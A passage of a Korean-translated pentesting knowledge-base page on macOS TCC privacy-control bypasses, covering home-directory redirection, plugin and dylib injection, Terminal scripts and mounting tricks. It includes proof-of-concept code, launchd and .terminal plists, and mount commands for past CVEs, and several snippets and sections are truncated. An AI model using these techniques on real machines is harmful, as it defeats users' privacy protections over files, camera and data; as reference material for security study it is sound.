๋ฃจํŠธ๋กœ ์ด ์„œ๋น„์Šค๋ฅผ ํ™œ์„ฑํ™”ํ•˜๋ฉด ARD ์—์ด์ „ํŠธ๊ฐ€ ์ „์ฒด ๋””์Šคํฌ ์ ‘๊ทผ ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ฒŒ ๋˜์–ด ์‚ฌ์šฉ์ž๊ฐ€ ์ด๋ฅผ ์•…์šฉํ•˜์—ฌ ์ƒˆ๋กœ์šด TCC ์‚ฌ์šฉ์ž ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ๋ณต์‚ฌํ•˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

By NFSHomeDirectory

TCC๋Š” ์‚ฌ์šฉ์ž์˜ HOME ํด๋”์— ์žˆ๋Š” ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ $HOME/Library/Application Support/com.apple.TCC/TCC.db์—์„œ ์‚ฌ์šฉ์ž์—๊ฒŒ ํŠน์ •ํ•œ ๋ฆฌ์†Œ์Šค์— ๋Œ€ํ•œ ์ ‘๊ทผ์„ ์ œ์–ดํ•ฉ๋‹ˆ๋‹ค.
๋”ฐ๋ผ์„œ ์‚ฌ์šฉ์ž๊ฐ€ $HOME env ๋ณ€์ˆ˜๊ฐ€ ๋‹ค๋ฅธ ํด๋”๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋„๋ก TCC๋ฅผ ์žฌ์‹œ์ž‘ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ์‚ฌ์šฉ์ž๋Š” /Library/Application Support/com.apple.TCC/TCC.db์— ์ƒˆ๋กœ์šด TCC ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ์ƒ์„ฑํ•˜๊ณ  TCC๋ฅผ ์†์—ฌ์„œ ๋ชจ๋“  TCC ๊ถŒํ•œ์„ ๋ชจ๋“  ์•ฑ์— ๋ถ€์—ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Tip

Apple์€ NFSHomeDirectory ์†์„ฑ ๋‚ด์— ์‚ฌ์šฉ์ž์˜ ํ”„๋กœํ•„์— ์ €์žฅ๋œ ์„ค์ •์„ $HOME์˜ ๊ฐ’์œผ๋กœ ์‚ฌ์šฉํ•˜๋ฏ€๋กœ, ์ด ๊ฐ’์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์ด ์žˆ๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์†์ƒ์‹œํ‚ค๋ฉด (kTCCServiceSystemPolicySysAdminFiles), TCC ์šฐํšŒ๋ฅผ ํ†ตํ•ด ์ด ์˜ต์…˜์„ ๋ฌด๊ธฐํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

CVE-2020โ€“9934 - TCC

CVE-2020-27937 - Directory Utility

CVE-2021-30970 - Powerdir

์ฒซ ๋ฒˆ์งธ POC๋Š” dsexport์™€ dsimport๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์‚ฌ์šฉ์ž์˜ HOME ํด๋”๋ฅผ ์ˆ˜์ •ํ•ฉ๋‹ˆ๋‹ค.

  1. ๋Œ€์ƒ ์•ฑ์— ๋Œ€ํ•œ csreq ๋ธ”๋กญ์„ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค.
  2. ํ•„์š”ํ•œ ์ ‘๊ทผ ๊ถŒํ•œ๊ณผ csreq ๋ธ”๋กญ์ด ํฌํ•จ๋œ ๊ฐ€์งœ TCC.db ํŒŒ์ผ์„ ์‹ฌ์Šต๋‹ˆ๋‹ค.
  3. dsexport๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์‚ฌ์šฉ์ž์˜ ๋””๋ ‰ํ† ๋ฆฌ ์„œ๋น„์Šค ํ•ญ๋ชฉ์„ ๋‚ด๋ณด๋ƒ…๋‹ˆ๋‹ค.
  4. ์‚ฌ์šฉ์ž์˜ ํ™ˆ ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ๋ณ€๊ฒฝํ•˜๊ธฐ ์œ„ํ•ด ๋””๋ ‰ํ† ๋ฆฌ ์„œ๋น„์Šค ํ•ญ๋ชฉ์„ ์ˆ˜์ •ํ•ฉ๋‹ˆ๋‹ค.
  5. dsimport๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ˆ˜์ •๋œ ๋””๋ ‰ํ† ๋ฆฌ ์„œ๋น„์Šค ํ•ญ๋ชฉ์„ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค.
  6. ์‚ฌ์šฉ์ž์˜ _tccd_๋ฅผ ์ค‘์ง€ํ•˜๊ณ  ํ”„๋กœ์„ธ์Šค๋ฅผ ์žฌ๋ถ€ํŒ…ํ•ฉ๋‹ˆ๋‹ค.

๋‘ ๋ฒˆ์งธ POC๋Š” **/usr/libexec/configd**๋ฅผ ์‚ฌ์šฉํ–ˆ์œผ๋ฉฐ, ์—ฌ๊ธฐ์—๋Š” com.apple.private.tcc.allow๊ฐ€ kTCCServiceSystemPolicySysAdminFiles ๊ฐ’์œผ๋กœ ์„ค์ •๋˜์–ด ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.
-t ์˜ต์…˜์œผ๋กœ **configd**๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์—ˆ๊ณ , ๊ณต๊ฒฉ์ž๋Š” ๋กœ๋“œํ•  ์‚ฌ์šฉ์ž ์ •์˜ ๋ฒˆ๋“ค์„ ์ง€์ •ํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์ด ์ต์Šคํ”Œ๋กœ์ž‡์€ ์‚ฌ์šฉ์ž์˜ ํ™ˆ ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ๋ณ€๊ฒฝํ•˜๋Š” dsexport ๋ฐ dsimport ๋ฐฉ๋ฒ•์„ configd ์ฝ”๋“œ ์ฃผ์ž…์œผ๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค.

์ž์„ธํ•œ ์ •๋ณด๋Š” ์›๋ณธ ๋ณด๊ณ ์„œ๋ฅผ ํ™•์ธํ•˜์„ธ์š”.

By process injection

ํ”„๋กœ์„ธ์Šค ๋‚ด๋ถ€์— ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•˜๊ณ  TCC ๊ถŒํ•œ์„ ์•…์šฉํ•˜๋Š” ๋‹ค์–‘ํ•œ ๊ธฐ์ˆ ์ด ์žˆ์Šต๋‹ˆ๋‹ค:

macOS Process Abuse

๊ฒŒ๋‹ค๊ฐ€, TCC๋ฅผ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•ด ๋ฐœ๊ฒฌ๋œ ๊ฐ€์žฅ ์ผ๋ฐ˜์ ์ธ ํ”„๋กœ์„ธ์Šค ์ฃผ์ž… ๋ฐฉ๋ฒ•์€ **ํ”Œ๋Ÿฌ๊ทธ์ธ(๋กœ๋“œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ)**์ž…๋‹ˆ๋‹ค.
ํ”Œ๋Ÿฌ๊ทธ์ธ์€ ์ผ๋ฐ˜์ ์œผ๋กœ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๋˜๋Š” plist ํ˜•ํƒœ์˜ ์ถ”๊ฐ€ ์ฝ”๋“œ๋กœ, ์ฃผ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ์˜ํ•ด ๋กœ๋“œ๋˜์–ด ๊ทธ ์ปจํ…์ŠคํŠธ์—์„œ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์ฃผ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด TCC ์ œํ•œ ํŒŒ์ผ์— ๋Œ€ํ•œ ์ ‘๊ทผ ๊ถŒํ•œ(๋ถ€์—ฌ๋œ ๊ถŒํ•œ ๋˜๋Š” ๊ถŒํ•œ์„ ํ†ตํ•ด)์„ ๊ฐ€์ง€๊ณ  ์žˆ๋‹ค๋ฉด, ์‚ฌ์šฉ์ž ์ •์˜ ์ฝ”๋“œ๋„ ์ด๋ฅผ ๊ฐ€์ง€๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

CVE-2020-27937 - Directory Utility

์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ /System/Library/CoreServices/Applications/Directory Utility.app๋Š” kTCCServiceSystemPolicySysAdminFiles ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ์œผ๋ฉฐ, .daplug ํ™•์žฅ์ž๋ฅผ ๊ฐ€์ง„ ํ”Œ๋Ÿฌ๊ทธ์ธ์„ ๋กœ๋“œํ•˜๊ณ  ๊ฐ•ํ™”๋œ ๋Ÿฐํƒ€์ž„์ด ์—†์Šต๋‹ˆ๋‹ค.

์ด CVE๋ฅผ ๋ฌด๊ธฐํ™”ํ•˜๊ธฐ ์œ„ํ•ด **NFSHomeDirectory**๊ฐ€ ๋ณ€๊ฒฝ๋ฉ๋‹ˆ๋‹ค(์ด์ „ ๊ถŒํ•œ์„ ์•…์šฉํ•˜์—ฌ) ์‚ฌ์šฉ์ž์˜ TCC ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ์žฅ์•…ํ•˜์—ฌ TCC๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•ฉ๋‹ˆ๋‹ค.

์ž์„ธํ•œ ์ •๋ณด๋Š” ์›๋ณธ ๋ณด๊ณ ์„œ๋ฅผ ํ™•์ธํ•˜์„ธ์š”.

CVE-2020-29621 - Coreaudiod

๋ฐ”์ด๋„ˆ๋ฆฌ **/usr/sbin/coreaudiod**๋Š” com.apple.security.cs.disable-library-validation ๋ฐ com.apple.private.tcc.manager ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ์ฒซ ๋ฒˆ์งธ๋Š” ์ฝ”๋“œ ์ฃผ์ž…์„ ํ—ˆ์šฉํ•˜๊ณ  ๋‘ ๋ฒˆ์งธ๋Š” TCC๋ฅผ ๊ด€๋ฆฌํ•  ์ˆ˜ ์žˆ๋Š” ์ ‘๊ทผ ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•ฉ๋‹ˆ๋‹ค.

์ด ๋ฐ”์ด๋„ˆ๋ฆฌ๋Š” /Library/Audio/Plug-Ins/HAL ํด๋”์—์„œ ํƒ€์‚ฌ ํ”Œ๋Ÿฌ๊ทธ์ธ์„ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์ด PoC๋กœ ํ”Œ๋Ÿฌ๊ทธ์ธ์„ ๋กœ๋“œํ•˜๊ณ  TCC ๊ถŒํ•œ์„ ์•…์šฉํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค:

#import <Foundation/Foundation.h>
#import <Security/Security.h>

extern void TCCAccessSetForBundleIdAndCodeRequirement(CFStringRef TCCAccessCheckType, CFStringRef bundleID, CFDataRef requirement, CFBooleanRef giveAccess);

void add_tcc_entry() {
CFStringRef TCCAccessCheckType = CFSTR("kTCCServiceSystemPolicyAllFiles");

CFStringRef bundleID = CFSTR("com.apple.Terminal");
CFStringRef pureReq = CFSTR("identifier \"com.apple.Terminal\" and anchor apple");
SecRequirementRef requirement = NULL;
SecRequirementCreateWithString(pureReq, kSecCSDefaultFlags, &requirement);
CFDataRef requirementData = NULL;
SecRequirementCopyData(requirement, kSecCSDefaultFlags, &requirementData);

TCCAccessSetForBundleIdAndCodeRequirement(TCCAccessCheckType, bundleID, requirementData, kCFBooleanTrue);
}

__attribute__((constructor)) static void constructor(int argc, const char **argv) {

add_tcc_entry();

NSLog(@"[+] Exploitation finished...");
exit(0);

๋” ๋งŽ์€ ์ •๋ณด๋Š” ์›๋ณธ ๋ณด๊ณ ์„œ๋ฅผ ํ™•์ธํ•˜์„ธ์š”.

์žฅ์น˜ ์ถ”์ƒํ™” ๊ณ„์ธต (DAL) ํ”Œ๋Ÿฌ๊ทธ์ธ

Core Media I/O๋ฅผ ํ†ตํ•ด ์นด๋ฉ”๋ผ ์ŠคํŠธ๋ฆผ์„ ์—ฌ๋Š” ์‹œ์Šคํ…œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜(**kTCCServiceCamera**๊ฐ€ ์žˆ๋Š” ์•ฑ)์€ /Library/CoreMediaIO/Plug-Ins/DAL์— ์œ„์น˜ํ•œ ์ด ํ”Œ๋Ÿฌ๊ทธ์ธ๋“ค์„ ํ”„๋กœ์„ธ์Šค์—์„œ ๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค (SIP ์ œํ•œ ์—†์Œ).

์—ฌ๊ธฐ์— ์ผ๋ฐ˜ ์ƒ์„ฑ์ž๊ฐ€ ์žˆ๋Š” ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์ €์žฅํ•˜๋Š” ๊ฒƒ๋งŒ์œผ๋กœ๋„ ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์—ฌ๋Ÿฌ Apple ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์ด์— ์ทจ์•ฝํ–ˆ์Šต๋‹ˆ๋‹ค.

Firefox

Firefox ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ com.apple.security.cs.disable-library-validation ๋ฐ com.apple.security.cs.allow-dyld-environment-variables ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค:

codesign -d --entitlements :- /Applications/Firefox.app
Executable=/Applications/Firefox.app/Contents/MacOS/firefox

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.cs.allow-unsigned-executable-memory</key>
<true/>
<key>com.apple.security.cs.disable-library-validation</key>
<true/>
<key>com.apple.security.cs.allow-dyld-environment-variables</key><true/>
<true/>
<key>com.apple.security.device.audio-input</key>
<true/>
<key>com.apple.security.device.camera</key>
<true/>
<key>com.apple.security.personal-information.location</key>
<true/>
<key>com.apple.security.smartcard</key>
<true/>
</dict>
</plist>

๋” ๋งŽ์€ ์ •๋ณด๋Š” ์›๋ณธ ๋ณด๊ณ ์„œ๋ฅผ ํ™•์ธํ•˜์„ธ์š”์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

CVE-2020-10006

๋ฐ”์ด๋„ˆ๋ฆฌ /system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl๋Š” com.apple.private.tcc.allow ๋ฐ com.apple.security.get-task-allow ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ์–ด, ํ”„๋กœ์„ธ์Šค ๋‚ด์— ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•˜๊ณ  TCC ๊ถŒํ•œ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

CVE-2023-26818 - Telegram

Telegram์€ com.apple.security.cs.allow-dyld-environment-variables ๋ฐ com.apple.security.cs.disable-library-validation ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ์–ด, ์ด๋ฅผ ์•…์šฉํ•˜์—ฌ ์นด๋ฉ”๋ผ๋กœ ๋…นํ™”ํ•˜๋Š” ๋“ฑ์˜ ๊ถŒํ•œ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ํŽ˜์ด๋กœ๋“œ๋Š” ์ž‘์„ฑ๋ฌผ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค .

ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ๋กœ๋“œํ•˜๋Š” ๋ฐฉ๋ฒ•์— ์ฃผ๋ชฉํ•˜์„ธ์š”. ์ปค์Šคํ…€ plist๊ฐ€ ์ƒ์„ฑ๋˜์–ด ์ด ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์ฃผ์ž…ํ•˜๊ณ  **launchctl**์„ ์‚ฌ์šฉํ•˜์—ฌ ์‹คํ–‰๋˜์—ˆ์Šต๋‹ˆ๋‹ค:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.telegram.launcher</string>
<key>RunAtLoad</key>
<true/>
<key>EnvironmentVariables</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/tmp/telegram.dylib</string>
</dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Telegram.app/Contents/MacOS/Telegram</string>
</array>
<key>StandardOutPath</key>
<string>/tmp/telegram.log</string>
<key>StandardErrorPath</key>
<string>/tmp/telegram.log</string>
</dict>
</plist>
launchctl load com.telegram.launcher.plist

By open invocations

**open**์„ ์ƒŒ๋“œ๋ฐ•์Šค ์ƒํƒœ์—์„œ๋„ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Terminal Scripts

๊ธฐ์ˆ ์ž๋“ค์ด ์‚ฌ์šฉํ•˜๋Š” ์ปดํ“จํ„ฐ์—์„œ๋Š” ํ„ฐ๋ฏธ๋„ **Full Disk Access (FDA)**๋ฅผ ๋ถ€์—ฌํ•˜๋Š” ๊ฒƒ์ด ์ผ๋ฐ˜์ ์ž…๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ์ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ .terminal ์Šคํฌ๋ฆฝํŠธ๋ฅผ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

.terminal ์Šคํฌ๋ฆฝํŠธ๋Š” CommandString ํ‚ค์— ์‹คํ–‰ํ•  ๋ช…๋ น์ด ํฌํ•จ๋œ plist ํŒŒ์ผ์ž…๋‹ˆ๋‹ค:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>CommandString</key>
<string>cp ~/Desktop/private.txt /tmp/;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>

์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ /tmp์™€ ๊ฐ™์€ ์œ„์น˜์— ํ„ฐ๋ฏธ๋„ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ž‘์„ฑํ•˜๊ณ  ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋ช…๋ น์œผ๋กœ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

// Write plist in /tmp/tcc.terminal
[...]
NSTask *task = [[NSTask alloc] init];
NSString * exploit_location = @"/tmp/tcc.terminal";
task.launchPath = @"/usr/bin/open";
task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app",
exploit_location]; task.standardOutput = pipe;
[task launch];

By mounting

CVE-2020-9771 - mount_apfs TCC ์šฐํšŒ ๋ฐ ๊ถŒํ•œ ์ƒ์Šน

๋ชจ๋“  ์‚ฌ์šฉ์ž (ํŠน๊ถŒ์ด ์—†๋Š” ์‚ฌ์šฉ์ž ํฌํ•จ)๋Š” ํƒ€์ž„ ๋จธ์‹  ์Šค๋ƒ…์ƒท์„ ์ƒ์„ฑํ•˜๊ณ  ๋งˆ์šดํŠธํ•˜์—ฌ ํ•ด๋‹น ์Šค๋ƒ…์ƒท์˜ ๋ชจ๋“  ํŒŒ์ผ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
ํ•„์š”ํ•œ ์œ ์ผํ•œ ํŠน๊ถŒ์€ ์‚ฌ์šฉ๋˜๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜(์˜ˆ: Terminal)์ด ์ „์ฒด ๋””์Šคํฌ ์ ‘๊ทผ (FDA) ๊ถŒํ•œ(kTCCServiceSystemPolicyAllfiles)์„ ๊ฐ€์ ธ์•ผ ํ•˜๋ฉฐ, ์ด๋Š” ๊ด€๋ฆฌ์ž๊ฐ€ ๋ถ€์—ฌํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

# Create snapshot
tmutil localsnapshot

# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local

# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap

# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

# Access it
ls /tmp/snap/Users/admin_user # This will work

๋” ์ž์„ธํ•œ ์„ค๋ช…์€ ์›๋ณธ ๋ณด๊ณ ์„œ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

CVE-2021-1784 & CVE-2021-30808 - TCC ํŒŒ์ผ ์œ„์— ๋งˆ์šดํŠธ

TCC DB ํŒŒ์ผ์ด ๋ณดํ˜ธ๋˜์–ด ์žˆ๋”๋ผ๋„, ์ƒˆ๋กœ์šด TCC.db ํŒŒ์ผ์„ ๋””๋ ‰ํ† ๋ฆฌ ์œ„์— ๋งˆ์šดํŠธํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ–ˆ์Šต๋‹ˆ๋‹ค:

# CVE-2021-1784
## Mount over Library/Application\ Support/com.apple.TCC
hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TCC test.dmg

# CVE-2021-1784
## Mount over ~/Library
hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg
# This was the python function to create the dmg
def create_dmg():
os.system("hdiutil create /tmp/tmp.dmg -size 2m -ov -volname \"tccbypass\" -fs APFS 1>/dev/null")
os.system("mkdir /tmp/mnt")
os.system("hdiutil attach -owners off -mountpoint /tmp/mnt /tmp/tmp.dmg 1>/dev/null")
os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
os.system("hdiutil detach /tmp/mnt 1>/dev/null")

Check the full exploit in the original writeup.

CVE-2024-40855

์›๋ณธ ์ž‘์„ฑ๋ฌผ์—์„œ ์„ค๋ช…๋œ ๋ฐ”์™€ ๊ฐ™์ด, ์ด CVE๋Š” diskarbitrationd๋ฅผ ์•…์šฉํ–ˆ์Šต๋‹ˆ๋‹ค.

๊ณต์šฉ DiskArbitration ํ”„๋ ˆ์ž„์›Œํฌ์˜ ํ•จ์ˆ˜ DADiskMountWithArgumentsCommon์ด ๋ณด์•ˆ ๊ฒ€์‚ฌ๋ฅผ ์ˆ˜ํ–‰ํ–ˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ diskarbitrationd๋ฅผ ์ง์ ‘ ํ˜ธ์ถœํ•˜์—ฌ ๊ฒฝ๋กœ์— ../ ์š”์†Œ์™€ ์‹ฌ๋ณผ๋ฆญ ๋งํฌ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด๋กœ ์ธํ•ด ๊ณต๊ฒฉ์ž๋Š” TCC ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ๋Œ€ํ•œ diskarbitrationd์˜ ๊ถŒํ•œ com.apple.private.security.storage-exempt.heritable ๋•๋ถ„์— ์ž„์˜์˜ ๋งˆ์šดํŠธ๋ฅผ ํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

asr

๋„๊ตฌ **/usr/sbin/asr**๋Š” ์ „์ฒด ๋””์Šคํฌ๋ฅผ ๋ณต์‚ฌํ•˜๊ณ  TCC ๋ณดํ˜ธ๋ฅผ ์šฐํšŒํ•˜์—ฌ ๋‹ค๋ฅธ ์œ„์น˜์— ๋งˆ์šดํŠธํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ฃผ์—ˆ์Šต๋‹ˆ๋‹ค.

Location Services

**/var/db/locationd/clients.plist**์— ์„ธ ๋ฒˆ์งธ TCC ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๊ฐ€ ์žˆ์–ด ์œ„์น˜ ์„œ๋น„์Šค์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ํด๋ผ์ด์–ธํŠธ๋ฅผ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.
ํด๋” /var/db/locationd/๋Š” DMG ๋งˆ์šดํŠธ์—์„œ ๋ณดํ˜ธ๋˜์ง€ ์•Š์•˜๊ธฐ ๋•Œ๋ฌธ์— ์šฐ๋ฆฌ์˜ plist๋ฅผ ๋งˆ์šดํŠธํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

By startup apps

macOS Auto Start

By grep

์—ฌ๋Ÿฌ ๊ฒฝ์šฐ์— ํŒŒ์ผ์ด ์ด๋ฉ”์ผ, ์ „ํ™”๋ฒˆํ˜ธ, ๋ฉ”์‹œ์ง€ ๋“ฑ๊ณผ ๊ฐ™์€ ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ๋น„๋ณดํ˜ธ ์œ„์น˜์— ์ €์žฅํ•ฉ๋‹ˆ๋‹ค(์ด๋Š” Apple์˜ ์ทจ์•ฝ์ ์œผ๋กœ ๊ฐ„์ฃผ๋ฉ๋‹ˆ๋‹ค).

Synthetic Clicks

์ด ๋ฐฉ๋ฒ•์€ ๋” ์ด์ƒ ์ž‘๋™ํ•˜์ง€ ์•Š์ง€๋งŒ, ๊ณผ๊ฑฐ์—๋Š” ์ž‘๋™ํ–ˆ์Šต๋‹ˆ๋‹ค:

CoreGraphics ์ด๋ฒคํŠธ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๋˜ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•:

Reference

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ